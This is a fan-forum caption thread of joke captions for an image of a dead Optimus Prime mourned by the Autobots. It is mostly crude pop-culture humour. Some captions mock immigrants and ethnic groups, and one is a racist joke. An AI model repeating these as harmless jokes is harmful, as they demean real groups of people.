snavej writes: Arcee: Well, I was rubbing his smokestacks in private when he ejaculated a huge cloud of smoke and collapsed.
Hot Rod: I'm gonna grow some smokestacks.
Arcee: They won't be as good.
Magnus: You could rub my missiles!
Arcee: No.
- Back to top -snavej writes: He was found dead of mysterious injuries in Home Ersek Sual Park.
snavej writes: Hot Rod: Don't you think this is weird?
Blurr: Yeah.
Kup: Yeah.
Perceptor: Yes, weird.
Magnus: Definitely.
Arcee: Well, I'll take Danny back to his Mum.
Hot Rod: And I'll do a bit more fishing.
snavej writes: Kup: Now we have the wake. We sit by the body all night to keep his spark company and to make sure he's dead.
Galvatron: (approaching) Think again, you old fogey! [Attacks hard.]
snavej writes: Prime: I'm going.
Hot Rod: How do we use the washing machine?
Arcee: How do I cook a Sunday roast?
Perceptor: Where are the Xmas presents?
Kup: Did you have insurance?
Magnus: Where do babies come from?
Prime: [Dies.]
snavej writes: Another victim of Chinese malware. Or bat flu. Or pangolin pox. Or Decepticon dysentry.
snavej writes: Arcee: Maybe he's just faking it?
Hot Rod: Like you?
Arcee: EXCUSE ME?!
Blurr: Shedoesthough.
Arcee: Stick it, Mr. Speedy! I hardly felt you.
snavej writes: 'Get up and fight, you entitled snowflake!' they said. It didn't help.
snavej writes: Prime: Pass the Matrix to Springer.
Magnus: I will, Dear Leader.
Prime: [Dies.]
Magnus: I had my fingers crossed! [Claims Matrix.]
snavej writes: Arcee wanted to marry a Junkion. Hot Rod wanted to marry a Quintesson. Kup wanted to marry a roadside recovery man. It was too much for Optimus.
snavej writes: Their strange adaptation of 'The Wizard of Oz' didn't go down well with theatre audiences. Also, they dropped a house on Dame Judy Dench and got sued.
- Back to top -snavej writes: A Transformer family holiday to the beach ended in tragedy when Prime was hit by a low-flying Aerialbot.
snavej writes: After hearing the news of Kim Kardashian's break-up with Kanye West (2021)...
snavej writes: They performed the funeral quickly and then went back to their true passion: relentless trolling of sensitive people on social media.
snavej writes: The cost of a super-sized burial plot nearly bankrupted them. To compensate, they siphoned e-currency from Jeff Bezos.
snavej writes: They thought they could fix him but the couriers didn't deliver the parts in time.
snavej writes: He didn't like the idea of being impersonated by fat cosplayers so he let himself die.
snavej writes: They were all shocked to hear that Prime had changed his Will. The inheritance would go to the Doubledealer Home for Hopeless Three-Wheel Vehicles.
snavej writes: Their recreation of the movie 'Flatliners' went too far.
snavej writes: He was simply too blocky to survive.
snavej writes: Daniel realised that white clothes weren't ideal in a scary Transformer battle situation.
- Back to top -snavej writes: Magnus: Rodimus, you'ver shrunk!
Hot Rod: We haven't got there yet. Read the script FFS.
snavej writes: They bought a new leader from Ikea but they put him together wrongly and then they lost the Allen key. Eventually he got rusty and had to be thrown out.
snavej writes: Arcee: Now you've done it! I'll give you a REAL piece of my mind when we get home!
Hot Rod: Yes dear.
Magnus: Yes dear.
Blurr: Yesdear.
Perceptor: Affirmative.
Kup: I'm too old for this scrap.
snavej writes: They all hated him so much that he died.
snavej writes: The drunken leader was redecorated by students, following an internet craze for grey.
snavej writes: At the Autobot Expat Games, the Patacake tournament had an unusual backdrop.
snavej writes: They tried to repair him but the smart phone industry had taken all the rare earth minerals.
snavej writes: This is what happens when you don't visit Dr. Pimple Popper in time.
snavej writes: Daniel: Prime, you can't die! You haven't met Leonard Nimoy yet, or Orson Welles!
snavej writes: Blaster's hair metal ballad didn't go down too well.
- Back to top -snavej writes: Perceptor: We can bring him back to life, kind of. I have a team of highly-trained weasels.
snavej writes: Magnus: Should we bail? The Ponies movie is much gentler than this massacre, I heard.
snavej writes: Kup: 'Arise, Wheelimus Prime!'.
Hot Rod: Go screw yourself.
snavej writes: Hot Rod: You know what we should've done? We should've given Blurr a really big gun and let him shoot all the Decepticons before they could press their attack. He's too fast to stop, right?
Blurr: ActuallyIgetquitetiredaftertenminutes.
snavej writes: His final words: 'Clear my browser history'.
snavej writes: Kup: Get up, Prime! We want to do captions about more than just death!
snavej writes: Hot Rod (seance mode): Is there anybody there?
Springer: Yes, I'm in the back room topping up my green tan.
snavej writes: Magnus: This Matrix itches like a bastard. Does anyone else want it?
snavej writes: Hot Rod: It's time to get tough. Arcee, release the Super B1tches!
snavej writes: Yodel had delivered the wrong thing AGAIN.
- Back to top -snavej writes: We will all sing the national anthem: 'Stronger' by Daft Punk and Kanye West.
snavej writes: They erected a statue in his honour. Shortly afterwards, a bunch of self-righteous millennials pulled it down because 'he hadn't killed enough Decepticons'. Those millennials went on to die of the 1995 Kangaroo Flu.
snavej writes: The nostalgia levels were so high that they all died of nostalgia poisoning within ten years.
snavej writes: Perceptor: We need a proper new leader. Magnus isn't ready, mentally. How about 'Star Saber'.
Magnus: [Expletives deleted].
Hot Rod: Great plan: it just needs one small adjustment. Change 'Star' to 'Hot' and 'Saber' to 'Rod'.
snavej writes: Before he died in 1986, Prime mumbled something about 'President Trump, Brexit and the Dread Corona'. Everyone thought his mind had snapped.
snavej writes: Their regular book club meeting was interrupted by something rather inconvenient. Some homeless guy wandered in and died on the coffee table.
snavej writes: Kup: Cut off in his Prime. Hah, you hear that? I made a joke! I'm a great comedian, even now!
[Withering looks from the others.]
snavej writes: Kup realise that he was nearly at that grey stage himself. Also, Blurr wasn't far behind. All that speed was cutting his lifespan drastically.
snavej writes: Hot Rod: I don't believe it. I guess he didn't know he was a toy all this time. The shock of finding out killed him.
snavej writes: Magnus: He deserves great respect. He lived a long time and kept his figure.
Hot Rod: Well said, Tubby!
- Back to top -snavej writes: Kup: Well, there's only one course of action for us now. We'll go home, watch TV all day and get fatter.
snavej writes: Arcee: If we stare at him long enough, he might recover!
Daniel: Even I know that's stupid. Waaaaaa!
snavej writes: Arcee was still annoyed that, after seeing her Masterpiece MP-51, Hot Rod called her 'Sniper Elite Barbie'.
snavej writes: Planking with opened breasts was not quite right, according to social media.
snavej writes: Hot Rod: You have a pet scraplet? Are you insane?!
Perceptor: Never mind that. I think he's hiding in this old corpse. Help me find him.
snavej writes: As part of the 'Ghostbusters' crossover comic, Prime became a restless spirit who haunted a street corner in downtown Philadelphia.
snavej writes: Too late, he discovered that the new 'Earthrise' cartoon was terribly dull.
snavej writes: Blurr: PayupMagnus.
Magnus: I could've sworn he'd turn brown, not grey.
snavej writes: Optimus: When the Energon tax collectors come calling, lie down in grey mode like this and they'll have to leave.
snavej writes: The ridiculousness of 'The Last Knight' crushed his spirit but then someone showed him 'Bumblebee' and he was resurrected.
- Back to top -snavej writes: Soft kitty, warm kitty, little ball of fur.
[The Big Bang Theory]
snavej writes: It was actually Nemesis Primme taking a nap.
snavej writes: Hot Rod: Remember what he said in Age of Extinction - we are not technology for the humans and we are also not fun collectibles made by Hasbro. They can go and screw themselves.
Kup: Seems gratuitous but hey, what the hell! Screw 'em.
snavej writes: Perceptor: There's nothing in the rules against using dead leaders as collateral in space poker games.
Arcee: How about I raise you a human child?
Daniel: What???!!!
snavej writes: Prime: You people aren't good at disguise, are you? Look, let me demonstrate. I'll begin with a dull colour scheme...
snavej writes: Hot Rod: I didn't do it. No one saw me do it. You can't prove anything.
Perceptor: We have recordings from multiple angles.
Hot Rod: Ah.
snavej writes: He had accidentally found the website for erotic gearboxes and the strain had been too much for him.
snavej writes: The battle for Earth was over but the battle for an insurance payout had just begun. The latter would prove to be much more costly than the former.
snavej writes: In death, he tried to avoid numerous corporate crossovers but to no avail.
snavej writes: Magnus: I'm better than him because I can carry all of you in transporter mode.
Kup: You're going to be a hearse in a minute, dipstick!
- Back to top -snavej writes: Arcee: We have to bury him under a very heavy slab of metal in case he comes back as a vampire or zombie.
Hot Rod: Stop reading those supernatural horror stories, you attention-seeking airhead!
snavej writes: Magnus: I remember the time he gave me advice that saved my army.
Kup: I remember the way he would inspire my troops to go above and beyond the call of duty.
Hot Rod: And I remember how he told me to hurry up one time. He had to die for that.
snavej writes: Magnus: I'm the Daddy now!
snavej writes: Arcee: What will we do if the Matrix never works again? How will we make new bots?
Hot Rod: In that case, we'll do it like they do on the Discovery Channel.
snavej writes: Magnus: Perceptor, does this Matrix have an instruction manual?
Perceptor: I'm afraid it was lost in the Grand Clear-Out of 5.6 million years ago. All that remains is an expired warranty card.
snavej writes: Hot Rod: Look, we'll say he retired. If we hide the body and pretend he's still alive, they'll pay his pension. We'll finally be able to afford that double glazing.
snavej writes: He became Optimus Sub-Prime and the bank foreclosed. All the truckers, hookers and immigrants inside were evicted.
snavej writes: Eventually, the grey pube syndrome spread to his whole body.
snavej writes: Magnus: Blaster, stop playing that Hammond Organ music!
Blaster: OK, switching to brass band music!
snavej writes: Optimus was slowly turning into Batman.
- Back to top -snavej writes: Blurr: This isn't the energon buffet. Huffer lied to us!
snavej writes: He was still alive in his TRAILER SECTION!!!!!! Everyone tends to forget about the trailer section.
snavej writes: They replaced him with the best Masterpiece version from Hasbro. No one could tell the difference.
snavej writes: They called Doctor and the Medics but it turned out that those were pop musicians.
snavej writes: Doctor House from that TV show 'House' was out of contact, so the patient was lost.
snavej writes: Arcee: Magnus, for the last time, it WON'T FIT!
snavej writes: Prime was annoyed that, in the afterlife, he'd be stuck inside Magnus' chest.
snavej writes: Was it suicide by Megatron or suicide by Hot Rod? The annoying TV historians would argue about it for centuries.
snavej writes: They were all hiding their preoccupation with anticipated movie award glory.
snavej writes: Their highly complex plan to kill Optimus had succeeded. (Ooh, controversial!)
- Back to top -snavej writes: Later, an anonymous book was published. The title was '101 Uses of a Dead Optimus'. Critics called it tasteless plagiarism. Sales were disappointing.
snavej writes: They wondered if it was too early for a seance.
snavej writes: He was finally dead enough to appear on a reality TV show.
snavej writes: Perceptor: On the positive side, the scrap value alone would be very high. We're talking five figures, people!
snavej writes: Kup: Have you tried turning him off and on again?
[They look at him shocked.]
Perceptor: Actually no. Let's try it. [Flips a switch twice; Prime reboots and goes back into action.]
snavej writes: Optimus resigned and bummed around Europe for years, making a living in miscellaneous transport gigs and smuggling people past Covid checkpoints.
snavej writes: Arcee resigned and took a job as an outsize model for Uniqlo. Sadly, she became pinker and pinker until it was unbearable and they had to send her far, far away.
snavej writes: Hot Rod took a gap year and travelled the galaxy, meeting and offending many strange species: Quintessons, Gallifreyans, Corellians, Republicans, etc.
snavej writes: Kup retired and went to live on a farm, with your old dog from childhood.
snavej writes: Perceptor resigned and took a job as assistant to Bill Nigh the Science Guy.
- Back to top -snavej writes: Ultra Magnus resigned and took a job transporting electric cars to Smugville, Arizona.
snavej writes: Blurr resigned and took a job as an auctioneer on Storage War Hunters New York California Texas UK.
snavej writes: Hot Rod: How's your weekend, Percy?
Perceptor: Well, I want fix up this place. I need lumber and drywall.
Blurr: Conswon'tletyabro.
Perceptor: You're right. [Sighs] More fighting, most likely.
snavej writes: Kup: I vote we go out and look at something more cheerful. Who's with me?
snavej writes: Arcee demanded an upgrade. She was made bigger and stronger, with a central 'V cannon' that sometimes smelled funny. Especially on a warm day.
snavej writes: In a surprise twist, the remaining Autobots assaulted the secret underground headquarters of Hasbro.
snavej writes: Perceptor: I fear that snavej has a new laptop and he's using it.
Ultra Magnus: Oh no!
Blurr: Darnshoot!
Hot Rod: I feel dirty!
Arcee: I am actually dirty. Very dirty. See my Instagram!
Kup: Funking hail!
snavej writes: After a few minutes of reverence, they all drifted off to watch Netflix. Later, they cut up the body and used it to repair the shuttles.
snavej writes: Kup: Enact the zombie protocols, I say. Turn him into a shambling grey killing machine.
Arcee: Only if you agree to the same procedure, you old fool. You're nearly there already.
snavej writes: Ratchet was dead already. Perceptor tried to fill in but he was useless.
- Back to top -snavej writes: Over the years, Prime had become an expert in avoiding unwanted duties. Feigning death was one of his tricks.
snavej writes: They sang 'Soft Kitty' too well and he croaked.
snavej writes: Kup: We need a proper replacement. Perceptor, start building some kind of robotic monkey.
snavej writes: Perceptor: We have a plan to rebuild him. We'll give him extra power by ramming a flesh man into his abs. He'll be a Power Master!
Ultra Magnus: Shut it, brainiac!
Daniel: I can't take this! [Runs off crying.]
snavej writes: He tried to arrange a fitting exit but the executives kept dragging him back in. At least it was better than hauling consumer goods across Michigan.
snavej writes: Daniel: Prime, you can't die. You're America's Dad!
Cosby: No he ain't, boy! Go buy me some sleeping pills!
snavej writes: Having seen too many deaths already, Kup was secretly watching TV on his eye screens. Later, he'd be glad of it when he had to deal with the TV-obsessed Junkions.
snavej writes: Optimus now regretted bullying Megatron at school for thirteen years.
snavej writes: This was when they realised that gun control was essential. Also bomb control, missile control and cannibal planet control.
snavej writes: Op: Tell that obscene **** snavej to go to bed. He's ****ing me off.
Hot Rod: Whatever you say, you shrivelled old husk.
Arcee: Hot Rod!
Hot Rod: Who cares? He's lost his marbles.
Kup: [Slaps Hot Rod upside the head.]
- Back to top -snavej writes: Bay would later recreate Prime's final battle charge. It would be better but somehow worse.
snavej writes: They all promised to stop Wheelie from claiming the Matrix. Everyone hated Wheelie.
snavej writes: Arcee: I hope I have a hard body like his when I'm his age - 4.5 million years old.
Hot Rod: You know they're gonna sag in twenty years, max.
snavej writes: The 'U' certificate might have been a mistake.
snavej writes: Op: Do not grieve for I will soon go to a better place - New Jersey, where there is a decent repair shop with very reasonable prices.
snavej writes: Three of them had brought grapes but it was useless. His mouth cover was permanent, especially after the coronascraplet epidemic of 1985.
snavej writes: Kup: I told him to use the stunt double. Why didn't he listen to me?
Arcee: That guy was goofing off. I heard he was playing space golf on the moon or something.
snavej writes: Blurr had to swear as fast as he could to express the anger of all the Autobots. They repaid him in Toys 'r' Us vouchers.
snavej writes: Hot Rod knew that he'd soon have to defeat Leonard Nimoy. He'd seen him in the sound studio a few hours ago.
snavej writes: Springer wanted to be there but he was green and it would've looked weird.
- Back to top -snavej writes: Afterwards, Daniel went Apex and refused to go back to school - EVER!
snavej writes: Afterwards, Daniel went Apex and refused to go back to school - EVER!
snavej writes: Some fool gave him petrol instead of diesel.
snavej writes: Perceptor: Let the fight over the Will BEGIN! Hoyven glaven!
snavej writes: Nearly all Transformers wore helmets to hide their shameful hair styles, unsightly scalp lesions and ridiculous ears.
snavej writes: While everyone was distracted, a lot of stuff got stolen by that ethnic group you hate most.
snavej writes: They were sick and tired of all this **** so they blew up Earth and went to borrow some kick-ass Star Destroyers from their friend Emperor Palpatine.
snavej writes: Ultra Magnus: This matrix makes me feel like dancing. Blaster, play Disco Selection 3000!
Blurr: Inappropriate!
snavej writes: Perceptor: Maybe if I put my shoulder dildo in there, I could bring him back?
Ultra Magnus: Ahem, matrix bearer right here! I should have a shot. No, he's gone.
snavej writes: Hot Rod: Here's a survey, Daniel. Question one - on a scale of one to ten, how badly have we ruined your childhood?
[Hot Rod is sent out of the room to think about what he's done.]
- Back to top -snavej writes: Arcee: Maybe now we can find out what's making that awful smell in his private rooms. It drives me crazy.
Perceptor: Illegal immigrants, my dear. He hoarded them.
Kup: We cleared those rooms six times but he kept filling them back up.
snavej writes: Hot Rod injected him with multicolour stuff and he woke up, swearing like a tinker.
snavej writes: Meanwhile, in Prime's trailer, 39 illegal immigrants were suffocating.
snavej writes: It was not an appropriate time but Magnus did it to Arcee anyway.
snavej writes: They couldn't afford the U.S. medical bills.
snavej writes: The solemn lament: I like trucking, I like trucking, I like trucking and I like to truck. I like trucking, I like trucking, if you don't like trucking, tough luck!
snavej writes: At the memorial, no one mentioned Op's partnership with trucker Peter Sutcliffe, the 'Yorkshire Ripper' (serial killer, UK).
snavej writes: They found a trucker and his lady of the night bunked up behind his back plate. The trucker was cooking beans on a hot plate.
snavej writes: Perceptor: Here's your problem - some dumb kid has crammed a lot of junk in the cab. His fuel pump couldn't function.
snavej writes: Perceptor: Here's your problem - some dumb kid has crammed a lot of junk in the cab. His fuel pump couldn't function.
- Back to top -snavej writes: Now that Daddy was dead, Arcee could pursue her adult movie career with perv partner Hot Rod.
snavej writes: 'Repaired by McDodgy's Body Shop, 14th November 1985.' Explains a lot!
snavej writes: Another sun bed casualty.
snavej writes: He should never have worked as an online delivery truck during the Covid epidemic. It wore him out.
snavej writes: Kup had secretly colluded with Megatron to have Ironhide killed. Thus, Kup was officially the oldest Autobot and had special privileges like a bigger energon pension and free antivirus software.
snavej writes: Ultra Magnus could hear every radio station in the world with his special antennae. They were slowly driving him insane.
snavej writes: They could've fixed him but it was cheaper to buy a new one from Hasbro. That way, the labels were fresh and unworn.
snavej writes: He was buried with his favourite toy, 'Nut Tightener 3000'. That was the low point of the day.
snavej writes: Springer was outside, desperately hiding dead Autobots to prevent further audience trauma.
snavej writes: Kup: We shall now sing Hymn number 328: 'Big Robot Battle Didn't Go Well'. This will be followed by Hymn number 48: 'Surprisingly Savage Revenge Mission Will Soon Begin'.
- Back to top -snavej writes: Ultra Magnus: That's it! Perceptor, activate Metroplex. We're gonna kick Tailgate, IDW-style!
snavej writes: Ultra Magnus: Hot Rod, why are you going pink?
Hot Rod: It's salmon!
[Wreck It Ralph joke.]
snavej writes: Blurr found Perceptor's lack of speed hilarious, even at times like this. How fast CAN a microscope drive?!
snavej writes: When arguments about 'Thanos vs. Galactus' go too far.
snavej writes: Blurr: Thissceneisdraggingcanwepleasemovealong?
Arcee: FFS BLUE BASKET! GO PREP THE SHUTTLES!
snavej writes: The maudlin hair metal ballad playing in the background was very annoying.
snavej writes: The maudlin hair metal ballad playing in the background was very annoying.
snavej writes: Ultra Magnus called Mrs. Prime to give her the bad news.
snavej writes: Hot Rod cried out 'By the Power of Greyskull!' but nothing happened. That was only a cartoon.
snavej writes: 'Made in China'? WTF?!
- Back to top -snavej writes: 'Made in China'? WTF?!
snavej writes: Even though he was dead, his smokestacks kept growing.
snavej writes: Shia LaBeouf arrived to save the day but he was drunk, abusive and riddled with STDs.
snavej writes: The catering microwave broke down completely. How would they heat their beryllium baloney now?
snavej writes: Arcee vowed to kill all Decepticons. Surely that would be easy. After all she had those spindly arms, matronly hips and pretty pink sunglasses!
snavej writes: Arcee vowed to kill all Decepticons. Surely that would be easy. After all she had those spindly arms, matronly hips and pretty pink sunglasses!
snavej writes: They agreed to blame the whole thing on a horde of vicious, rabid squirrels.
snavej writes: Hot Rod (sings): We'll always be together! Together in electric dreams!
Kup: Haven't you done enough damage?!
snavej writes: The whole movie had to be redubbed because of unwanted noise, hobo interruptions, tape hiss and prodigious profanity in multiple languages.
snavej writes: Finally, he was killed by the malign effect of his big glass nipples.
- Back to top -snavej writes: If only he'd chosen chicken, not fish. [Airplane! joke]
snavej writes: Wise Optimus knew that Bay was coming. He tried to escape by dying but that failed because he was fictional.
snavej writes: It was squeaky bum time in Autobot City.
snavej writes: Taking this as a warning, Ultra Magnus retired to the countryside and ran a small antiques shop.
snavej writes: The shameful name 'Convoyimus Prime' was buried with him.
snavej writes: Korean animators were the real enemies of the Transformers.
snavej writes: This was the start of the legal copyright battle with the Greyicons.
snavej writes: No one discovered the 'Reverse Matrix' that was hidden in Prime's bottom.
snavej writes: Prime died for the greater good...... merchandising!
snavej writes: Perceptor: Hey! There's a little guy in there pulling the strings!
- Back to top -snavej writes: Arcee: Blurr, go and find a very, very big shoe box!
snavej writes: Too many garish colours in the same room can be fatal.
snavej writes: Later, they discovered that the true cause of death was 'Space AIDS'.
snavej writes: If he'd gone Peterbilt, he might have survived, dagnabbit!
snavej writes: Little did they know that a second Optimus Prime was gestating inside Ultra Magnus.
snavej writes: This wasn't the right time to shout 'Dildo Shoulder' at Perceptor. Hot Rod did it anyway.
snavej writes: Magnus: To save time on the burial, we could feed him to the Dinobots. They're super hungry after the battle!
snavej writes: And thus began the 'Extraordinary Adventures of Deadbot'!
snavej writes: Best Halloween prank ever! No wait, it's June.
snavej writes: The Seibertron crowd brought their best paints and revived the stricken leader!
- Back to top -snavej writes: Blurr: I could give him CPR really fast!
Perceptor: No, that would be messy.
snavej writes: They had ordered the wrong kind of paperweight.
snavej writes: Kup: He would make an interesting 'conversation piece' in the lounge.
snavej writes: They tried to save him but Mark Wahlberg was unavailable.
snavej writes: He fought the good fight but he was no match for the 'Outraged Snowflakes'.
snavej writes: They had him stuffed and mounted on top of Metroplex's head. On a rotating platform.
snavej writes: They should never have dipped him in Cowca Cowla.
snavej writes: Henceforth, Hot Rod vowed to continue meddling in other people's fights until he'd avenged every death. This only lasted until he became a pimped-out RV.
snavej writes: Why are there so many Scooby Snacks in there? Was he moonlighting as the Mystery Machine?
snavej writes: The loss of approximately 10 million PronHub videos - due to a sponsor boycott - was too much for him.
- Back to top -snavej writes: The day after, Steeljaw sneaked into the morgue and feasted on entrails.
snavej writes: The corpse began leaking smelly fluids directly onto young Daniel.
snavej writes: Last words: I shall return, when CGI has made us much more believable.
snavej writes: His new grey colours clashed with everyone else so they had to evict him.
snavej writes: After wearing a Covid face mask for millions of years, he finally suffocated.
snavej writes: Captioned to death by over-enthusiastic fans: the ignominy!
snavej writes: He was said to be 'bigger than Jesus', so the people of the Bible Belt killed him and burnt all his records. [Beatles joke]
snavej writes: The Pink Power Ranger tried to fit in but still felt out of place.
snavej writes: They chose this image for the relaunch of the caption competition. Op was so incensed that he got up, shot himself and died all over again.
snavej writes: Hot Rod: Dibs on his Decepticon head collection!
- Back to top -snavej writes: Prime was melted down and converted into thousands of die-cast collectors' editions. Most of those were later thrown out by annoyed mothers, wives and girlfriends because they wanted a more feminine look to the house.
snavej writes: Red vehicles get the worst sun-fade, don't they?!
snavej writes: ...and finally we can pack a thousand kilos in the chest. We're gonna be rich!
snavej writes: He wouldn't fit in the coffin so they were forced to CUT OFF HIS SMOKESTACKS!
snavej writes: The operation was a complete success but the patient died.
snavej writes: This was the start of Prime's Groundhog Day, where he died repeatedly and kept coming back. He was angry but at least Peter Cullen got richer.
snavej writes: Op's last act was to traumatise a lot of kids. Thanks Op!
Nexus Knight writes: Blown up, shot at point-blank range in the chest, being completely disassembled, it only takes a stab and a couple of shots in the side to kill him.
Solipsist writes: He's dead?! Dang, that COVID-19 can even kill Bots?!? We have to get off this planet now while we still can...
Tankox1972 writes: Well, the bad news is he's dead. The good news is he saved 15% on Insurance for his truck mode thru GEIKO.
- Back to top -trailbreaker writes: First year Med School students.
Squish writes: And I thought they smelled bad on the outside...
FrankieBabes writes: AND THE TOUCH!!!
FrankieBabes writes: ...BUT HE HAD THE POWER....
Solipsist writes: Hey, Dibs on his G.I.JOE Collection! Called it!
Longarmmagnus writes: “What kind of a host invites you to his house for the weekend and dies on you?”
Durt Baggins writes: Wait, who stuffed beryllium baloney in here? GRIMLOCK!!!
Riot Riverman writes: Wait a minitet so you mean to tell me his "The Touch" CD has been stuck in there playing on repeat all this time?!
Seibertron writes: You can buy dead Optimus Prime on Amazon now!
shauyaun writes: When you’re playing with your cousins at a family gathering and one of them gets hurt
- Back to top -shonasof writes: You're not yourself until you've had a Snickers.
Tigerhawk7109 writes: Perceptor: I would love to take him to my lab-
Hot Rod: We’re in your lab, genius idiot
HotRodimus78 writes: This mood ring alternator Prime asked us to install is starting to get dull.
bjorkmgork writes: Did you try turning him off and on again?
The Analog Ninja writes: "So that's where he's been hiding his porn."
RLTW-N64-3D writes: *RECORD SCRATCH*
Yeah, that's me. You're probably wondering what happened to me this time. Funny story this one, it all started back on Cybertron...
Lore Keeper writes: We found him in a vat of paint thinner.
mightygulliver writes: Hotrod: "The instructions said : middle shelf, 35min at 356degrees i dont understand"
Kup: "Fahrenheit not centigrade!! Even Grimlock can figure the oven out!"
TheLastUnicron writes: This wouldn't have happened if we just bought the goddamn toy.
X3ROhour writes: Hod Rod: "I had NO IDEA Optimus was bkack! Did you know that Optimus was black? Wow! Know wonder he never laughed at my racist jokes! Wow! You know a bot for 4 million years, and the whole time he's a black bot! I am a total piston rod!"
- Back to top -X3ROhour writes: Hot Rod: "Betcha I could totally fit my head in there!"
X3ROhour writes: So... THAT was dramatic.
Tigerhawk7109 writes: Hot Rod: Do I get the Matrix?
Magnus: Take that back.
Solrac333 writes: Hot Rod, "Can I have Roller?".
Emerje writes: Optimus Prime: Do not grieve. Soon I shall be an Amazon exclusive and everyone can own me.
Krapicon writes: If you look really really close you can see the Wizzzdoodle!!!
LE0KING writes: Hasbro rep approaches with a milk bucket.
"Come on Prime, I know there's more in there."
PhotonWaveZero writes: Hot Rod: Let's eat him... Cybertronian BBQ for everyone!
Regimus Prime writes: Nobody:
Hotrod: Dibs on his trailer.
Nemesis Maximo writes: “Check it out guys! I got the Amazon Exclusive Alternate Universe Optimus Prime in hand early!”
- Back to top -strangegeek writes: Have you tried turning it off and back on again?
Kernow23 writes: Nah, its still not worth £49.99.
trailbreaker writes: Guess who farted .
DeathReviews writes: "That's it - I'm going for the wishbone!"
Roadbuster writes: *Thanos snaps his fingers and kills 50% of all life in the universe*
Optimus Prime: "Hold my energon!" *dies*
Guuhatsu writes: Kup: "This reminds me of the other 10 times Optimus Prime died."
blackeyedprime writes: My right missiles starting to swell, hope no one notices.
BIGGUY007 writes: Preceptor: Everybody gather in, I'm about to show you all how a clown car actually works.
Quantum Surge writes: The aftermath of Optimus Prime partying too hard and dying
rpetras writes: Do you think anyone would actually PAY MP prices for this deco?
- Back to top -aronjlove writes: Dammit Hot Rod, I'm a doctor not a mechanical engineer.
Optimal Pint writes: ... And they never figured out just how 1920's Prime run on coal?
Bumblevivisector writes: "Dammit Hot Rod, WHY didn't you jump in to save Optimus before Megatron surprised him with that pistol? All of Transfandom will forever curse your idiotic inaction now that Marvel-originalism has eclipsed Geewun-Sunbow-purism!"
Torneira writes: Even though Optimus Prime wore a mouthplate his entire life, Covid 19 got the better of him.
darksabrz writes: Ultra Magnus to Hot Rod: "Dammit, Hot Rod! Do you want a death-metal gray paint job like this? Because this is how you get a death-metal gray paint job!"
VioMeTriX writes: and yet again there are still unpopped kernels.
KAMJIIN writes: It will be much cheaper to upgrade to the new God Ginrai model than trying to fix this thing.
Evil Eye writes: "Autobots, I'm really not sure about this "battle damaged" deco..."
trailbreaker writes: Hot Rod - “Look his boobs opened !!”
Kup - “ Foolish kid, you’ll never amount to nothing! “
trailbreaker writes: Kup - “ This limited edition grey Masterpiece Prime is depressing ....”
- Back to top -CoonWulf writes: Looks like the affects of "Pleasantville" haven't caught up to Optimus yet.
Solipsist writes: Kup: "OK... Whose Got The Will?!"
Solipsist writes: Prime: Perceptor, Delete My Internet History...
Roadbuster writes: "Should've... gone for the head."
no-one writes: Quick, check his wallet for cash!
Super Megatron writes: At least he owed up for causing the death of Brawn, Prowl, Ironhide, and Ratchet.
Otaku-mus Prime writes: Kup: Reminds me of the time I was on the Nostromo...
Otaku-mus Prime writes: Arcee: Magnus, your hands are wandering again.
ZeldaTheSwordsman writes: "And Takara made an exclusive of THIS?"
Autoking writes: Damn..I've seen better days, covid-19 sure has messed him up.
- Back to top -EvasionModeBumblebee writes: “. . . I knew we should’ve just gone with MP-10.”
chuckdawg1999 writes: Remember we need to keep him alive until after the 12th,that's when his social security check clears.
Ultra Markus writes: covid 19 claims another:(
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